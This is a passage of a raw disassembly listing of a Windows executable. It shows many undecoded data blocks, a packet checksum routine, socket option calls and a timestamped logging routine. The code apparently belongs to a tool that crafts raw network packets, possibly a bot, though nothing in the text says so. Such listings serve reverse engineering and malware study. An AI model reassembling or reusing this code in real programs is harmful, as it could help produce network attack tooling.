		dd 80DC45C6h, 6DD45C6h,	0DE5D8966h, 73E82D74h, 8B000078h
		dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h
		dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh
		dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 0AFE415FFh, 4589004Ch
		dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h
		dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 0A415FFFFh
		dd 66004CAFh, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h
		dd 0A415FF52h, 68004CAFh, 12345678h, 0E8458966h, 0AFA015FFh
		dd 4589004Ch, 44858DECh, 68FFFFFEh, 42ABACh, 77EEE850h
		dd 85590000h, 97459C0h,	0C6F05D89h, 0EB02F545h,	44858D5Ch
		dd 68FFFFFEh, 42A9E8h, 77CEE850h, 85590000h, 97459C0h
		dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42A9E0h
		dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h
		dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h,	1ADAF7F9h
		dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
		dd 4CAFA4h, 0F6458966h,	89E0458Bh, 458B9C45h, 66146AE4h
		dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h,	0A415FF06h
		dd 66004CAFh, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
		dd 8147E8h, 0E8458D00h,	8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh
		dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h
		dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h
		dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h
		dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h,	66FFFF6Ah
		dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h
		dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h,	503C6AFFh
		dd 0FFFC75FFh, 4CB00815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
		dd 75FFFFFFh, 3C15FFFCh, 0FF004CB0h, 4CAF3815h,	858D5000h
		dd 0FFFFFDC4h, 500875FFh, 435E0468h, 0C0858D00h, 68FFFFFBh
		dd 200h, 76E6E850h, 0C4830000h,	589D3918h, 75FFFFFFh, 858D5323h
		dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
		dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
		dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 19E85359h
		dd 90022BBDh, 0FFFC75FFh, 4CB03C15h, 8458B00h, 0C06BD233h
		dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
		dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
		dd 435DB468h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h
		dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh,	0FEC4858Dh
		dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h
		dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h
		dd 90535959h, 2BBC87E8h
		db 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_4143A5
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi

loc_414397:				; CODE XREF: ___:0041439Fj
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414397
		pop	edi
		cmp	eax, 1

loc_4143A5:				; CODE XREF: ___:0041438Bj
		jnz	short loc_4143B2
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax

loc_4143B2:				; CODE XREF: ___:loc_4143A5j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
byte_4143CB	db 55h			; DATA XREF: sub_401ACD+6D49o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 737Dh, 858D5059h, 0FFFFFE70h, 0E415FF50h, 50004CAFh
		dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
		dd 5Fh,	19CC481h, 8D500000h, 0FFFC6C85h, 5EE068FFh, 0E8500043h
		dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
		dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh
		dd 83FFFF56h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h,	75FF0000h
		dd 6F98E8F0h, 5959FFFFh, 7DE89056h, 55022BBBh, 0EC81EC8Bh
		dd 0CCh, 358B5653h, 4270A8h, 8957DB33h,	0D6FFFC5Dh, 0FF68h
		dd 6A036A00h, 0F0458902h, 0B02415FFh, 4589004Ch, 50D6FFF8h
		dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h
		dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 0F1E89000h, 2B0226C7h
		dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
		dd 4CE7581Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
		dd 707Ch, 8D0CC483h, 8D50EC45h,	0FF509845h, 15FF0875h
		dd 4CAF48h, 0FF68h, 0E8016A00h,	4150h, 0F505959h, 509E45B6h
		dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h,	42D5A468h
		dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh,	3868FFFFh
		dd 50004CE1h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
		dd 4CAFE4h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
		dd 15FFA845h, 4CAFA4h, 0AE458966h, 7345E8h, 45896600h
		dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
		dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h,	66000073h
		dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h
		dd 7301E8h, 0C8458900h,	66CC458Bh, 6AFF5025h, 0C6500C14h
		dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
		dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h,	66D45D89h
		dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
		dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
		dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
		dd 6FFFFFFh, 0D0E8E890h, 89667169h, 0FFFF5E85h,	60858DFFh
		dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h
		dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh
		dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
		dd 8D535088h, 5056A845h, 0FFF875FFh, 4CB00815h,	0FC45FF00h
		dd 0FFFE20E9h, 0F875FFFFh, 0B03C15FFh, 458B004Ch, 5B5E5FFCh
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_4146CE	dw 8B55h		; DATA XREF: sub_401ACD+4CBFo
		dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
		dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
		dd 1082C7FCh, 1000002h,	0F3000000h, 37E8A5h, 0C4810000h
		dd 214h, 0EC858D50h, 68FFFFFBh,	435F14h, 7160E850h, 858D0000h
		dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h,	0C483FFFFh
		dd 90006A14h, 2BB8BBE8h, 0EC8B5502h, 254EC81h, 56530000h
		dd 0FFBBh, 6A535700h, 0FF026A03h, 4CB02415h, 0FFF88300h
		dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 436104h, 710CE850h
		dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
		dd 0C7505702h, 1EC45h, 15FF0000h, 4CAF84h, 75FFF883h, 3815FF0Eh
		dd 50004CAFh, 4360B468h, 8D1BEB00h, 0FF500C45h,	4CAFE415h
		dd 0FFF88300h, 15FF2075h, 4CAF38h, 60706850h, 858D0043h
		dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch,	66570000h
		dd 2DC45C7h, 0A415FF00h, 66004CAFh, 8DDE4589h, 90500C45h
		dd 69CAFFE8h, 0A8358B71h, 89004270h, 0D6FFE045h, 8DF84589h
		dd 8D500C45h, 0FFFDAC85h, 604468FFh, 0E8500043h, 706Ah
		dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
		dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh
		dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
		dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h
		dd 41Ch, 0FFBB05EBh, 39000000h,	4CE7583Dh, 6A527500h, 45895810h
		dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h
		dd 0FF50CC45h, 15FF0875h, 4CAF48h, 0E8016A53h, 3DD4h, 0F505959h
		dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h,	0D5A468ACh
		dd 0E8500042h, 6FB6h, 0EB18C483h, 0AC458D10h, 4CE13868h
		dd 0CDE85000h, 59000075h, 5C65659h, 4CE338h, 0A415FF45h
		dd 66004CAFh, 4CE33AA3h, 0AC458D00h, 5C76650h, 4CE33Ch
		dd 89660001h, 4CE33E3Dh, 4005C600h, 80004CE3h, 0E34105C6h
		dd 6611004Ch, 0E3423D89h, 15FF004Ch, 4CAFE4h, 4CE344A3h
		dd 0E0458B00h, 4CE348A3h, 8C858D00h, 50000000h,	523D8966h
		dd 0E8004CE3h, 6E31h, 7559C085h, 6F90E810h, 0B9990000h
		dd 401h, 0EB52F9F7h, 8C858D0Eh,	50000000h, 6E10E8h, 0FF505900h
		dd 4CAFA415h, 4EA36600h, 0E8004CE3h, 6F66h, 401B999h, 8680000h
		dd 0F7000004h, 158966F9h, 4CE34Ch, 0AFA415FFh, 68004Ch
		dd 66000004h, 4CE350A3h, 6F3CE800h, 0F7990000h,	546852FBh
		dd 0E8004CE3h, 6BDCh, 8D0CC483h, 106ADC45h, 68565750h
		dd 4CE338h, 0FFF475FFh,	4CB00815h, 0FFF88300h, 0A5840Fh
		dd 45FF0000h, 0F5E890FCh, 2B0226C2h, 0D233F845h, 3E8B9h
		dd 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h
		dd 0FE74860Fh, 75FFFFFFh, 3C15FFF4h, 8B004CB0h,	858DFC75h
		dd 10Ch, 1CF66950h, 0E8000004h,	6D59h, 8BD23359h, 0C1C68BC8h
		dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 435FE068h
		dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h
		dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
		dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
		dd 0FF56FC75h, 4CAF3815h, 458D5000h, 5468500Ch,	0EB00435Fh
		db 0ACh
byte_414A91	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6361o
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h
		dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
		dd 4CAFE415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
		dd 613068FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch
		dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
		dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h,	0FFFFFBECh
		dd 67AE850h, 75FF0000h,	68D8E8F0h, 5959FFFFh, 0BDE89056h
		dd 5F022BB4h
; ---------------------------------------------------------------------------
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_414B6E
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 71AB3E5Dh
		nop
		jmp	loc_414C2A
; ---------------------------------------------------------------------------

loc_414B6E:				; CODE XREF: ___:00414B58j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		nop
		call	near ptr 71AB155Ah
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4CAF4C
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4CAF8C
		test	eax, eax
		jnz	short loc_414BD2
		or	eax, 0FFFFFFFFh
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------

loc_414BD2:				; CODE XREF: ___:00414BCBj
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_414BDD

loc_414BD9:				; CODE XREF: ___:00414BFDj
					; ___:00414C21j
		mov	eax, edi
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------

loc_414BDD:				; CODE XREF: ___:00414BD7j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_414BFF
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_414BD9

loc_414BFF:				; CODE XREF: ___:00414BECj
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		nop
		call	near ptr 71AB4122h
		cmp	eax, edi
		jz	short loc_414BD9
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax

loc_414C2A:				; CODE XREF: ___:00414B69j
					; ___:00414BD0j ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		dw 8B55h
		dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
		dd 6A000000h, 89026A03h, 0AEE8EC45h, 90716A0Dh,	6AEC4D8Dh
		dd 26A5104h, 0C8A35053h, 0FF004CE7h, 4CAF8415h,	0A8358B00h
		dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h,	0FF00BD8Dh
		dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
		dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h,	0FFFFFF78h
		dd 15h,	0FF7C85C7h, 16FFFFh, 45C70000h,	1780h, 8845C700h
		dd 35h,	508C45C7h, 0C7000000h, 519045h,	45C70000h, 5894h
		dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
		dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
		dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh,	0BC45C7h, 0C7000004h
		dd 599C045h, 45C70000h,	5DCC4h,	0C845C700h, 6B8h, 0EACC45C7h
		dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
		dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
		dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
		dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
		dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 0A415FF50h
		dd 53004CAFh, 26A016Ah,	66858966h, 0FFFFFFFFh, 4CB02415h
		dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
		dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0B03C15FFh, 5D39004Ch
		dd 8B0C75F8h, 78BFC4Dh,	0F40D8489h, 83FFFFFEh, 8304FC45h
		dd 7C70FC7Dh, 0E7CCBF83h, 6068004Ch, 570042CAh,	6A85E8h
		dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
		dd 452BD6FFh, 0B9D233F4h, 3E8h,	453BF1F7h, 8B45770Ch, 8BF845h
		dd 1574C33Bh, 5C685750h, 57004361h, 0E8F04589h,	6A46h
		dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h
		dd 4CAFA415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
		dd 0A87C1CFCh, 6853286Ah, 4CE768h, 6717E8h, 0FFFFBE00h
		dd 5C60000h, 4CE768h, 685645h, 0C6000004h, 4CE77105h, 5C60600h
		dd 4CE769h, 37E6E808h, 0C4830000h, 15FF5014h, 4CAFA4h
		dd 0A366286Ah, 4CE76Ch,	0AFA415FFh, 0D80004Ch, 4CE770h
		dd 581D39FFh, 66004CE7h, 4CE76AA3h, 1D896600h, 4CE76Eh
		dd 0FE681A75h, 6A0000FFh, 37A6E801h, 59590000h,	0C1084D8Bh
		dd 0CE2310E0h, 0BEBC10Bh, 4CE13868h, 0E415FF00h, 0A3004CAFh
		dd 4CE774h, 6808458Bh, 4000h, 4CE778A3h, 891D8800h, 0FF004CE7h
		dd 4CAFA415h, 66535600h, 4CE78AA3h, 3762E800h, 0F88B0000h
		dd 0E7C15356h, 3756E808h, 0C4830000h, 57F80310h, 0AFA015FFh
		dd 80A3004Ch, 0A0004CE7h, 4CE788h, 24087D8Bh, 6A500C0Fh
		dd 0E788A214h, 8B66004Ch, 1D89F045h, 4CE784h, 8E1D8966h
		dd 66004CE7h, 4CE77EA3h, 0A43D8900h, 88004CE7h,	4CE7A81Dh
		dd 0A905C600h, 6004CE7h, 0AFA415FFh, 0A366004Ch, 4CE7AAh
		dd 0E77EA166h, 0C766004Ch, 4CE79005h, 89000200h, 4CE7943Dh
		dd 92A36600h, 89004CE7h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h
		dd 53562F75h, 36CBE8h, 50595900h, 0AFA415FFh, 0A366004Ch
		dd 4CE77Ch, 4CE774A1h, 0E7A0A300h, 5C6004Ch, 4CE789h, 841D8902h
		dd 0EB004CE7h, 0C653561Fh, 4CE78905h, 95E81000h, 59000036h
		dd 15FF5059h, 4CAFA4h, 0A3C0B70Fh, 4CE784h, 6C05FF66h
		dd 0FF004CE7h, 4CE78005h, 7EA16600h, 6A004CE7h,	7CBE5905h
		dd 0BF004CE7h, 4CE7ACh,	721D8966h, 66004CE7h, 0E78C1D89h
		dd 146A004Ch, 68BEA5F3h, 66004CE7h, 4CE792A3h, 25E85600h
		dd 6AFFFF5Ch, 0E7A06820h, 0A366004Ch, 4CE772h, 0FF5C13E8h
		dd 10C483FFh, 0E78CA366h, 106A004Ch, 4CE79068h,	286A5300h
		dd 0C835FF56h, 0FF004CE7h, 4CB00815h, 0FC45FF00h, 0FFFC7D81h
		dd 0F000003h, 0FFFF238Ch, 49E890FFh, 2B0226BCh,	0D233F445h
		dd 3E8B9h, 3BF1F700h, 0E770C45h, 901075FFh, 25B4DBE8h
		dd 0FDC2E902h, 5E5FFFFFh, 4CE7CCB8h, 0C3C95B00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150B4	proc near		; CODE XREF: sub_401ACD+71FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43D160
		mov	edi, 0B8h

loc_4150C8:				; CODE XREF: sub_4150B4+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4150EB
		push	[ebp+arg_0]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4150EB
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43DCE0
		jl	short loc_4150C8
		jmp	short loc_41512D
; ---------------------------------------------------------------------------

loc_4150EB:				; CODE XREF: sub_4150B4+17j
					; sub_4150B4+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43D160[esi]
		push	ebx
		call	sub_41B590
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41B5F0
		push	9Fh
		lea	eax, dword_43D178[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41B5F0
		add	esp, 24h
		inc	dword_42923C
		pop	ebx

loc_41512D:				; CODE XREF: sub_4150B4+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_4150B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415134	proc near		; CODE XREF: sub_401ACD+28DDp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_436178
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43D160

loc_41515E:				; CODE XREF: sub_415134+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415199
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_436164
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41B980
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch

loc_415199:				; CODE XREF: sub_415134+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43DCE0
		jl	short loc_41515E
		pop	edi
		pop	esi
		leave
		retn
sub_415134	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151AC	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		nop
		call	near ptr 277016Eh
		mov	ebx, offset dword_4D2BCC
		mov	edi, 80h
		mov	esi, offset dword_4CEBCC

loc_4151CE:				; CODE XREF: sub_4151AC+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_4151E5
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_4151E5:				; CODE XREF: sub_4151AC+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_4151CE
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4151AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415220	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_402077p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41C190
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		leave
		retn
sub_415220	endp


; =============== S U B	R O U T	I N E =======================================



sub_41524C	proc near		; CODE XREF: sub_401ACD+27D4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CEBCC
		xor	ecx, ecx

loc_415253:				; CODE XREF: sub_41524C+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D2BCC
		jl	short loc_415253
		cmp	[esp+arg_C], ecx
		jnz	short loc_415281
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_4361C4
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_415281:				; CODE XREF: sub_41524C+19j
		push	offset dword_4361B0
		call	sub_4151AC
		pop	ecx
		retn
sub_41524C	endp

; ---------------------------------------------------------------------------
byte_41528D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2887o
; ---------------------------------------------------------------------------
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_4152E0
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_4361F4
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h

loc_4152E0:				; CODE XREF: ___:004152C0j
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415300
		lea	eax, [ebp-98h]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_415300
		mov	[ebp-8], eax

loc_415300:				; CODE XREF: ___:004152E7j
					; ___:004152FBj
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4CEBCC

loc_415309:				; CODE XREF: ___:00415361j
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415363
		cmp	byte ptr [esi],	0
		jz	short loc_415352
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415338
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415338
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_418086
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415352

loc_415338:				; CODE XREF: ___:0041531Dj
					; ___:00415323j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h

loc_415352:				; CODE XREF: ___:00415314j
					; ___:00415336j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D2BCC
		jl	short loc_415309

loc_415363:				; CODE XREF: ___:0041530Fj
		lea	eax, [ebp-31Ch]
		push	offset dword_4361D8
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_41539D
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h

loc_41539D:				; CODE XREF: ___:0041537Bj
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 46h, 0ACh
; ---------------------------------------------------------------------------
		sub	eax, [edx]
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


